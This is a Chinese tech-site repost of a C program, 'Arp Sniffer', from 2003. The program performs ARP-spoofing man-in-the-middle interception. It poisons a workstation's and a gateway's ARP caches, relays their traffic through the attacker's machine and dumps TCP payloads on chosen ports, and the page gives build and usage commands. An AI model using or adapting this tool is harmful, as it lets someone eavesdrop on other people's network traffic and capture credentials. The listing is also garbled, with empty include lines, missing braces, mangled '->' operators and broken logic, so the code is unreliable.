当前位置: > 网络安全 > 黑客攻防 > ARP >

Arp Sniffer在linux下面的具体实现

时间:2014-11-15 17:19来源:linux.it.net.cn 作者:IT
/*============================================================================ 
Coder:  Paris-ye 
Released on: 1/9/2003 
Test on: redhat 9.0 
Information: 
This is a arp spoof sniffer. 
W <--- workstation 
B <--- Server or  GateWay 
M <--- Man in the middle (agent),self IP address 
Make: 
first you must install "pcap" and "libnet" 
gcc -I/usr/local/include -L/usr/local/lib -o sniffer sniffer.c -lpcap -lnet 
Usage: 
./sniffer -I [Interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port] 
============================================================================*/ 
#include 
#include 
#include 
#include 
#include 
#define  MAXBUF 1024*4 
#define  PCAP_TOUT 5 
#define  PROMISC 0 
#define  TRUE 1 
#define  FALSE 0 
/* Ethernet protocol ID's */     
#define ETHERTYPE_PUP           0x0200          /* Xerox PUP */ 
#define ETHERTYPE_IP            0x0800          /* IP */ 
#define ETHERTYPE_ARP           0x0806          /* Address resolution */ 
#define ETHERTYPE_REVARP        0x8035          /* Reverse ARP */ 
/* This structure defines an ethernet arp header.  */ 
/* ARP protocol opcodes. */ 
#define ARPOP_REQUEST   1               /* ARP request.  */ 
#define ARPOP_REPLY     2               /* ARP reply.  */ 
#define ARPOP_RREQUEST  3               /* RARP request.  */ 
#define ARPOP_RREPLY    4               /* RARP reply.  */ 
#define ARPOP_InREQUEST 8               /* InARP request.  */ 
#define ARPOP_InREPLY   9               /* InARP reply.  */ 
#define ARPOP_NAK       10              /* (ATM)ARP NAK.  */ 
/* ARP protocol HARDWARE identifiers. */ 
#define ARPHRD_NETROM   0               /* From KA9Q: NET/ROM pseudo. */ 
#define ARPHRD_ETHER    1               /* Ethernet 10/100Mbps.  */ 
#define ARPHRD_EETHER   2               /* Experimental Ethernet.  */ 
#define ARPHRD_AX25     3               /* AX.25 Level 2.  */ 
#define ARPHRD_PRONET   4               /* PROnet token ring.  */ 
#define ARPHRD_CHAOS    5               /* Chaosnet.  */ 
#define ARPHRD_IEEE802  6               /* IEEE 802.2 Ethernet/TR/TB.  */ 
#define ARPHRD_ARCNET   7               /* ARCnet.  */ 
#define ARPHRD_APPLETLK 8               /* APPLEtalk.  */ 
#define ARPHRD_DLCI     15              /* Frame Relay DLCI.  */ 
#define ARPHRD_ATM      19              /* ATM.  */ 
#define ARPHRD_METRICOM 23              /* Metricom STRIP (new IANA id).  */ 
/* Dummy types for non ARP hardware */ 
#define ARPHRD_SLIP       0x256 
#define ARPHRD_CSLIP      0x257 
#define ARPHRD_SLIP6      0x258 
#define ARPHRD_CSLIP6     0x259 
#define ARPHRD_RSRVD      0x260             /* Notional KISS type.  */ 
#define ARPHRD_ADAPT      0x264 
#define ARPHRD_ROSE       0x270  
#define ARPHRD_X25        0x271             /* CCITT X.25.  */ 
#define ARPHDR_HWX25      0x272             /* Boards with X.25 in firmware.  */ 
#define ARPHRD_PPP        0x512 
#define ARPHRD_CISCO      0x513             /* Cisco HDLC.  */ 
#define ARPHRD_HDLC       ARPHRD_CISCO 
#define ARPHRD_LAPB       0x516             /* LAPB.  */ 
#define ARPHRD_DDCMP      0x517             /* Digital's DDCMP.  */ 
#define ARPHRD_RAWHDLC    0x518             /* Raw HDLC.  */ 

#define ARPHRD_TUNNEL     0x768             /* IPIP tunnel.  */ 
#define ARPHRD_TUNNEL6    0x769             /* IPIP6 tunnel.  */ 
#define ARPHRD_FRAD       0x770             /* Frame Relay Access Device.  */ 
#define ARPHRD_SKIP       0x771             /* SKIP vif.  */ 
#define ARPHRD_LOOPBACK   0x772             /* Loopback device.  */ 
#define ARPHRD_LOCALTLK   0x773             /* Localtalk device.  */ 
#define ARPHRD_FDDI       0x774             /* Fiber Distributed Data Interface. */ 
#define ARPHRD_BIF        0x775             /* AP1000 BIF.  */  
#define ARPHRD_SIT        0x776             /* sit0 device - IPv6-in-IPv4.  */ 
#define ARPHRD_IPDDP      0x777             /* IP-in-DDP tunnel.  */ 
#define ARPHRD_IPGRE      0x778             /* GRE over IP.  */ 
#define ARPHRD_PIMREG     0x779             /* PIMSM register interface.  */ 
#define ARPHRD_HIPPI      0x780             /* High Performance Parallel I'face. */ 
#define ARPHRD_ASH        0x781             /* (Nexus Electronics) Ash.  */ 
#define ARPHRD_ECONET     0x782             /* Acorn Econet.  */ 
#define ARPHRD_IRDA       0x783             /* Linux-IrDA.  */ 
#define ARPHRD_FCPP       0x784             /* Point to point fibrechanel.  */ 
#define ARPHRD_FCAL       0x785             /* Fibrechanel arbitrated loop.  */ 
#define ARPHRD_FCPL       0x786             /* Fibrechanel public loop.  */ 
#define ARPHRD_FCPFABRIC  0x787             /* Fibrechanel fabric.  */ 
#define ARPHRD_IEEE802_TR 0x800             /* Magic type ident for TR.  */ 
#define ARPHRD_IEEE80211  0x801             /* IEEE 802.11.  */ 
/* IP version number */ 
#define IPVERSION       4 
struct ether_header 

u_int8_t  ether_dhost[6];      /* destination eth addr */ 
u_int8_t  ether_shost[6];      /* source ether addr    */ 
u_int16_t ether_type;          /* packet type ID field */ 
}; 
struct arphdr 

unsigned short int ar_hrd;          /* Format of hardware address.  */ 
unsigned short int ar_pro;          /* Format of protocol address.  */ 
unsigned char ar_hln;               /* Length of hardware address.  */ 
unsigned char ar_pln;               /* Length of protocol address.  */ 
unsigned short int ar_op;           /* ARP opcode (command).  */ 
unsigned char __ar_sha[6];          /* Sender hardware address.  */ 
unsigned char __ar_sip[4];          /* Sender IP address.  */ 
unsigned char __ar_tha[6];          /* Target hardware address.  */ 
unsigned char __ar_tip[4];          /* Target IP address.  */ 
}; 
/* 
* Structure of an internet header, naked of options. 
*/ 
struct iphead 

unsigned int ip_hl:4;               /* header length */ 
unsigned int ip_v:4;                /* version */ 
u_int8_t ip_tos;                    /* type of service */ 
u_short ip_len;                     /* total length */ 
u_short ip_id;                      /* identification */ 
u_short ip_off;                     /* fragment offset field */ 
u_int8_t ip_ttl;                    /* time to live */ 
u_int8_t ip_p;                      /* protocol */ 
u_short ip_sum;                     /* checksum */ 
u_char ip_src[4], ip_dst[4];      /* source and dest address */ 
}; 
struct tcphead 

u_int16_t th_sport;         /* source port */ 
u_int16_t th_dport;         /* destination port */ 
u_int32_t th_seq;             /* sequence number */ 
u_int32_t th_ack;             /* acknowledgement number */ 
u_int8_t th_off:4;          /* data offset */ 
u_int8_t th_x2:4;           /* (unused) */ 
u_int8_t th_flags; 
#define TH_FIN        0x01 
#define TH_SYN        0x02 
#define TH_RST        0x04 
#define TH_PUSH       0x08 
#define TH_ACK        0x10 
#define TH_URG        0x20 
u_int16_t th_win;           /* window */ 
u_int16_t th_sum;           /* checksum */ 
u_int16_t th_urp;           /* urgent pointer */ 
}; 
/* 
* W , S , M 's ip and mac address 
*/ 
struct ipmacaddr 

u_char ipW[4]; 
u_char macW[6]; 
u_char ipS[4]; 
u_char macS[6]; 
u_char ipM[4]; 
u_char macM[6]; 
}; 
int usage(char* argv) 

printf("====================================\n"); 
printf("============Arp Sniffer=============\n"); 
printf("==========Write by Paris-Ye=========\n"); 
printf("===Usage: %s -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]\n", argv); 
printf("===For example:\n"); 
printf("\t%s -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254\n",argv); 
return 0; 

/*send arp packet function*/ 
int arpsend(libnet_t* lnet,u_char* smac,u_char* sip,u_char* dmac,u_char* dip) 

int ret=0; 
u_char* packet; 
u_long packets; 
libnet_ptag_t t; 
struct ether_header* ethh; 
struct arphdr* arph; 
packets=sizeof(struct ether_header)+sizeof(struct arphdr); 
packet = malloc(packets); 
ethh = (struct ether_header* ) packet; 
arph = (struct arphdr* ) (packet+sizeof(struct ether_header)); 
memcpy(ethh->;ether_dhost,dmac,6); 
memcpy(ethh->;ether_shost,smac,6); 
ethh->;ether_type = htons(ETHERTYPE_ARP); 
arph->;ar_hrd = htons(ARPOP_REQUEST); 
arph->;ar_pro = htons(ARPHRD_IEEE802_TR); 
arph->;ar_hln = 6; 
arph->;ar_pln = 4; 
arph->;ar_op = htons(ARPHRD_ETHER); 
memcpy(arph->;__ar_sha,smac,6); 
memcpy(arph->;__ar_sip,sip,4); 
bzero(arph->;__ar_tha,6); 
memcpy(arph->;__ar_tip,dip,4); 
ret = libnet_write_link( 
lnet, 
packet, 
packets 
); 
if(ret == -1) 

return FALSE; 

return TRUE; 

/*Send spoof arp S And W every 6 second interval*/ 
void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac) 

while(TRUE) 

arpsend(lnet,ipmac->;macM,ipmac->;ipS,ipmac->;macW,ipmac->;ipW); 
arpsend(lnet,ipmac->;macM,ipmac->;ipW,ipmac->;macS,ipmac->;ipS); 
sleep(6); 


/*Forward packets W--->;S or S--->;W*/ 
int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM) 

int ret=0; 
const u_char* datapoint=packet; 
struct ether_header* ethhdr; 
struct iphead*       iph; 
ethhdr = (struct ether_header*) datapoint; 
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP) 
return TRUE; 
if(!memcmp(ethhdr->;ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/ 
return TRUE; 
if(memcmp(ethhdr->;ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/ 
return TRUE; 
if(!memcmp(ethhdr->;ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/ 

memcpy(ethhdr->;ether_shost,macM,6); 
memcpy(ethhdr->;ether_dhost,macS,6); 
ret = libnet_write_link( 
lnet, 
(u_char*)datapoint, 
len 
); 

if(!memcmp(ethhdr->;ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/ 

memcpy(ethhdr->;ether_shost,macM,6); 
memcpy(ethhdr->;ether_dhost,macW,6); 
ret = libnet_write_link( 
lnet, 
(u_char*)datapoint, 
len 
); 

return TRUE; 

/*print hex date to Ascii */ 
void printdat(u_char* packet,int len) 

int i=0,j=0; 
u_char str[16]; 
for(i=0;i<=len-16;i+=16) 

memcpy(str,packet+i,16); 
fprintf(stdout,"%02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x  ", 
str[0],str[1],str[2],str[3], 
str[4],str[5],str[6],str[7], 
str[8],str[9],str[10],str[11], 
str[12],str[13],str[14],str[15] 
); 
for(j=0;j<16;j++) 

if(str[j] < 32 || str[j] >; 126) 
str[j]='.'; 

fprintf(stdout,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 
str[0],str[1],str[2],str[3], 
str[4],str[5],str[6],str[7], 
str[8],str[9],str[10],str[11], 
str[12],str[13],str[14],str[15] 
); 

if(i!=len) 

memcpy(str,packet+i,16); 
for(j=0;j<16;j++) 

if(j%4==0 && j!=0) 
fprintf(stdout," "); 
if((i+j)
fprintf(stdout,"%02x",str[j]); 

else 
fprintf(stdout,"  "); 

fprintf(stdout,"  "); 
for(j=0;j<16;j++) 

if((i+j)
if(str[j] < 32 || str[j] >; 126) 
str[j]='.'; 
fprintf(stdout,"%c",str[j]); 


fprintf(stdout,"\n\n"); 


/*parse packet*/ 
int  parsedate(const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM,u_char* ipW,u_char* ipS,int* port) 

int i=0; 
int     contents; 
u_char* content; 
const u_char* datapoint=packet; 
struct ether_header* ethhdr; 
struct iphead*       iph; 
struct tcphead*      tcph; 
ethhdr = (struct ether_header*) datapoint; 
iph = (struct iphead*) (datapoint+sizeof(struct ether_header)); 
tcph = (struct tcphead*) (datapoint+sizeof(struct ether_header)+sizeof(struct iphead)); 
if(memcmp(ethhdr->;ether_shost,macW,6) && memcmp(ethhdr->;ether_shost,macS,6)) 
return FALSE; 
if(memcmp(ethhdr->;ether_dhost,macM,6)) 
return FALSE; 
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP) 
return FALSE; 
if(iph->;ip_v != 4 || iph->;ip_hl != 5) 
return FALSE; 
if(!(!memcmp(iph->;ip_dst,ipW,4) || !memcmp(iph->;ip_src,ipW,4))) 
return FALSE; 
if(iph->;ip_p != IPPROTO_TCP) 
return FALSE; 
contents = htons(iph->;ip_len)-sizeof(struct iphead)-sizeof(struct tcphead); 
content = (u_char *)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead)+sizeof(struct tcphead)); 
if((tcph->;th_flags & TH_PUSH)) 

for(i==0;port!=0;i++) 

printf("=====%d %d\n",port,htons(tcph->;th_dport)); 
if(port==htons(tcph->;th_dport) || port==htons(tcph->;th_sport)) 
break; 

if(port==0) 
return; 
printf("Size:[%d] [%d.%d.%d.%d:%d]->;[%d.%d.%d.%d:%d]\n",htons(iph->;ip_len), 
iph->;ip_src[0],iph->;ip_src[1],iph->;ip_src[2],iph->;ip_src[3],htons(tcph->;th_sport), 
iph->;ip_dst[0],iph->;ip_dst[1],iph->;ip_dst[2],iph->;ip_dst[3],htons(tcph->;th_dport) 
); 
printdat(content,contents); 

return TRUE; 

/*Sniffer packets*/ 
int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port) 

const u_char* packet; 
struct pcap_pkthdr hdr; 
while(1) 

packet=pcap_next(lpcap,&hdr); 
if(packet==NULL || hdr.len==0) 
continue; 
parsedate(packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM,ipmac->;ipW,ipmac->;ipS,port); 
forwarddate(lnet,packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM); 

return TRUE; 

/* 
When initialize Get the S and W Mac address 
Send arp request  
*/ 
int gettargetmac(libnet_t* lnet,struct ipmacaddr* ipmac) 

while(1) 

arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macW,ipmac->;ipW); 
arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macS,ipmac->;ipS); 
sleep(1); 

return TRUE; 

/* 
When initialize Get the S and W Mac address 
parse arp reply 
*/ 
int getmacaddress(char* dev,libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac) 

int skfd=0; 
unsigned int isgetmac=0x0; 
pid_t pid=0; 
struct ifreq ifr; 
const u_char* packet; 
struct pcap_pkthdr hdr; 
struct ether_header* ethhdr; 
struct arphdr* arph; 
//----------get local mac adrress 
strcpy(ifr.ifr_name,dev); 
skfd = socket(AF_INET,SOCK_DGRAM,0); 
if(skfd<0) 

printf("Can't open socket!\n"); 
return FALSE; 

if(ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0) 

printf("Can't read local mac address!\n"); 
return FALSE; 

memcpy(ipmac->;macM,ifr.ifr_hwaddr.sa_data,6); 
close(skfd); 
//----------get target mac address 
pid = fork(); 
if(pid==0) 

gettargetmac(lnet,ipmac); 
exit(TRUE); 

while(1) 

packet=pcap_next(lpcap,&hdr); 
if(packet==NULL || hdr.len==0) 
continue; 
ethhdr = (struct ether_header*) packet; 
arph = (struct arphdr*) (packet+sizeof(struct ether_header)); 
if(memcmp(ethhdr->;ether_dhost,ipmac->;macM,6)) 
continue; 
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_ARP) 
continue; 
if(!memcmp(arph->;__ar_sip,ipmac->;ipW,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4)) 

memcpy(ipmac->;macW,arph->;__ar_sha,6); 
isgetmac=0xFFFF0000 | isgetmac; 

if(!memcmp(arph->;__ar_sip,ipmac->;ipS,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4)) 

memcpy(ipmac->;macS,arph->;__ar_sha,6); 
isgetmac=0x0000FFFF | isgetmac; 

if(isgetmac == 0xFFFFFFFF) 
break; 

kill(pid,9); 
return TRUE; 

int main(int argc,char* argv[]) 

int          ret=0,i=0; 
char  *p,*s; 
char c; 
char string[]="I:M:W:S:P:"; 
int port[100]; 
char dev[32]=""; 
struct ipmacaddr ipmac; 
pid_t pid; 
libnet_t* lnet; 
pcap_t*     lpcap; 
bpf_u_int32 netp,maskp; 
struct bpf_program fp; 
char        err[PCAP_ERRBUF_SIZE]; 
char        filterstr[]=""; 
unsigned int ipM; 
unsigned int ipW; 
unsigned int ipS; 
u_char macW[] = {255,255,255,255,255,255,255}; 
u_char macS[] = {255,255,255,255,255,255,255}; 
u_char macM[] = {255,255,255,255,255,255,255}; 
bzero(&ipmac,sizeof(struct ipmacaddr)); 
if(argc<8) 

usage(argv[0]); 
return FALSE; 

while((c = getopt(argc, argv, string)) != EOF) 

switch(c) 

case('I'): 
strcpy(dev,optarg); 
break; 
case('M'): 
ipM = inet_addr(optarg); 
memcpy(ipmac.ipM,(void*)&ipM,4); 
break; 
case('W'): 
ipW = inet_addr(optarg); 
memcpy(ipmac.ipW,(void*)&ipW,4); 
break; 
case('S'): 
ipS = inet_addr(optarg); 
memcpy(ipmac.ipS,(void*)&ipS,4); 
break; 
case('P'): 
printf("%s\n",optarg); 
s = optarg; 
p=strtok(s,":"); 
while(p) 

port=atoi(p); 
printf("%d\n",port); 
p=strtok(NULL,":"); 
i++; 

port=0; 
break; 
default: 
usage(argv[0]); 
return FALSE; 


memcpy(ipmac.macW,macW,6); 
memcpy(ipmac.macS,macS,6); 
memcpy(ipmac.macM,macM,6); 
ret = pcap_lookupnet(dev,&netp,&maskp,err); 
if(ret == -1) 

printf("Can't initialize PCAP![%s]\n",err); 
return FALSE; 

lpcap = pcap_open_live( 
dev, 
MAXBUF, 
PROMISC, 
PCAP_TOUT, 
err 
); 
if(lpcap == NULL) 

printf("Can't initialize PCAP![%s]\n",err); 
return FALSE; 

ret = pcap_compile(lpcap,&fp,filterstr,0,netp); 
if(ret == -1) 

printf("Error pcap_compile!\n"); 
return FALSE; 

ret = pcap_setfilter(lpcap,&fp); 
if(ret == -1) 

printf("Error pcap_setfilter!\n"); 
return FALSE; 

lnet = libnet_init( 
LIBNET_LINK, 
dev, 
err); 
if(lnet == NULL) 

printf("Can't initialize libnet!Please check the [dev]\n"); 
return FALSE; 

ret = getmacaddress(dev,lnet,lpcap,&ipmac); 
printf("Get network cards mac address:\n"); 
printf("M->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macM[0],ipmac.macM[1],ipmac.macM[2],ipmac.macM[3],ipmac.macM[4],ipmac.macM[5],ipmac.macM[6]); 
printf("W->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macW[0],ipmac.macW[1],ipmac.macW[2],ipmac.macW[3],ipmac.macW[4],ipmac.macW[5],ipmac.macW[6]); 
printf("S->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macS[0],ipmac.macS[1],ipmac.macS[2],ipmac.macS[3],ipmac.macS[4],ipmac.macS[5],ipmac.macS[6]); 
printf("\nNow Start... .. .\n"); 
if(ret == FALSE) 

return FALSE; 

pid = fork(); 
if(pid==0) 

arpspoof(lnet,&ipmac); 
return FALSE; 
}else 

agentpacket(lnet,lpcap,&ipmac,port); 

libnet_destroy(lnet); 
pcap_close(lpcap); 
printf("Done\n"); 
return TRUE; 
}




(责任编辑:IT)
------分隔线----------------------------